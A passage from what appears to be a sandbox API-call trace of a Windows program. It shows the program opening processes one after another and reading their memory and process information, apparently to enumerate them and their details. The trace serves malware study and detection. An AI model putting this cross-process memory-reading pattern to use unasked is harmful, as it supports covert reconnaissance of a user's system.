lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.026] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e2258, lpBuffer=0x5ec5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.026] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.026] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.026] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.026] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.027] malloc (_Size=0x60) returned 0xeb6620 [0354.027] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e22b0, lpBuffer=0xeb6620, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6620*, lpNumberOfBytesRead=0x0) returned 1 [0354.027] free (_Block=0xeb6620) [0354.027] CloseHandle (hObject=0xa9c) returned 1 [0354.027] _ui64tow_s (in: _Value=0x1458, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5208") returned 0x0 [0354.028] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5208") returned 4 [0354.028] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.028] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.029] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1458) returned 0xa9c [0354.029] GetLastError () returned 0x0 [0354.029] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.029] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x317018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.029] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.029] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5926a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.029] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x592258, lpBuffer=0x5ec5a0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.029] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.029] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.030] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x317020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.030] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x591c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.030] malloc (_Size=0x88) returned 0xe87c10 [0354.030] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5922d8, lpBuffer=0xe87c10, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87c10*, lpNumberOfBytesRead=0x0) returned 1 [0354.030] free (_Block=0xe87c10) [0354.030] CloseHandle (hObject=0xa9c) returned 1 [0354.031] _ui64tow_s (in: _Value=0x1474, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5236") returned 0x0 [0354.031] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5236") returned 4 [0354.031] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.031] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.032] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1474) returned 0xa9c [0354.032] GetLastError () returned 0x0 [0354.032] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.032] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ee018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.032] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.032] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2700, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.032] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.033] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.033] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.033] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ee020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.033] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.033] malloc (_Size=0xa8) returned 0xe96970 [0354.033] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22f8, lpBuffer=0xe96970, nSize=0xa6, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe96970*, lpNumberOfBytesRead=0x0) returned 1 [0354.034] free (_Block=0xe96970) [0354.034] CloseHandle (hObject=0xa9c) returned 1 [0354.034] _ui64tow_s (in: _Value=0x1480, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5248") returned 0x0 [0354.034] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5248") returned 4 [0354.034] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.034] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.035] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1480) returned 0xa9c [0354.035] GetLastError () returned 0x0 [0354.035] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.035] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ba018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.035] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.036] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.036] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.036] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.037] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.037] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ba020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.037] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.037] malloc (_Size=0x72) returned 0xea8da0 [0354.037] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d22c2, lpBuffer=0xea8da0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8da0*, lpNumberOfBytesRead=0x0) returned 1 [0354.037] free (_Block=0xea8da0) [0354.038] CloseHandle (hObject=0xa9c) returned 1 [0354.038] _ui64tow_s (in: _Value=0x148c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5260") returned 0x0 [0354.038] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5260") returned 4 [0354.038] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.038] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.039] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148c) returned 0xa9c [0354.039] GetLastError () returned 0x0 [0354.039] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.039] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x38a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.039] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.039] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.039] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.040] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.040] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.040] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x38a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.040] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.040] malloc (_Size=0x62) returned 0xeb65b0 [0354.040] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22b2, lpBuffer=0xeb65b0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb65b0*, lpNumberOfBytesRead=0x0) returned 1 [0354.041] free (_Block=0xeb65b0) [0354.041] CloseHandle (hObject=0xa9c) returned 1 [0354.056] _ui64tow_s (in: _Value=0x14cc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5324") returned 0x0 [0354.056] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5324") returned 4 [0354.056] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.056] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.057] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14cc) returned 0xa9c [0354.057] GetLastError () returned 0x0 [0354.057] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.057] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.058] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.058] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2600, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.058] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.058] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.058] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.058] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.058] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.059] malloc (_Size=0x54) returned 0xeaa890 [0354.059] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22a4, lpBuffer=0xeaa890, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa890*, lpNumberOfBytesRead=0x0) returned 1 [0354.059] free (_Block=0xeaa890) [0354.059] CloseHandle (hObject=0xa9c) returned 1 [0354.059] _ui64tow_s (in: _Value=0x14d8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5336") returned 0x0 [0354.060] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5336") returned 4 [0354.060] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.060] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.061] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14d8) returned 0xa9c [0354.061] GetLastError () returned 0x0 [0354.061] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.061] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ec018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.061] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.061] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.061] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.061] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.062] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.062] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ec020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.062] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x551c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.062] malloc (_Size=0x72) returned 0xea8c20 [0354.062] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5522c2, lpBuffer=0xea8c20, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8c20*, lpNumberOfBytesRead=0x0) returned 1 [0354.063] free (_Block=0xea8c20) [0354.063] CloseHandle (hObject=0xa9c) returned 1 [0354.064] _ui64tow_s (in: _Value=0x14e8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5352") returned 0x0 [0354.064] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5352") returned 4 [0354.064] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.064] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.065] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14e8) returned 0x0 [0354.065] CloseHandle (hObject=0x0) returned 0 [0354.065] _ui64tow_s (in: _Value=0x1520, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5408") returned 0x0 [0354.065] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5408") returned 4 [0354.065] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.065] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.066] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1520) returned 0xa9c [0354.066] GetLastError () returned 0x0 [0354.066] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.066] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.066] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.067] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.067] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b2258, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.067] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.067] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.067] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.068] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.068] malloc (_Size=0x68) returned 0xeb6310 [0354.068] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b22b8, lpBuffer=0xeb6310, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6310*, lpNumberOfBytesRead=0x0) returned 1 [0354.068] free (_Block=0xeb6310) [0354.068] CloseHandle (hObject=0xa9c) returned 1 [0354.069] _ui64tow_s (in: _Value=0x154c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5452") returned 0x0 [0354.069] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5452") returned 4 [0354.069] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.069] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.070] 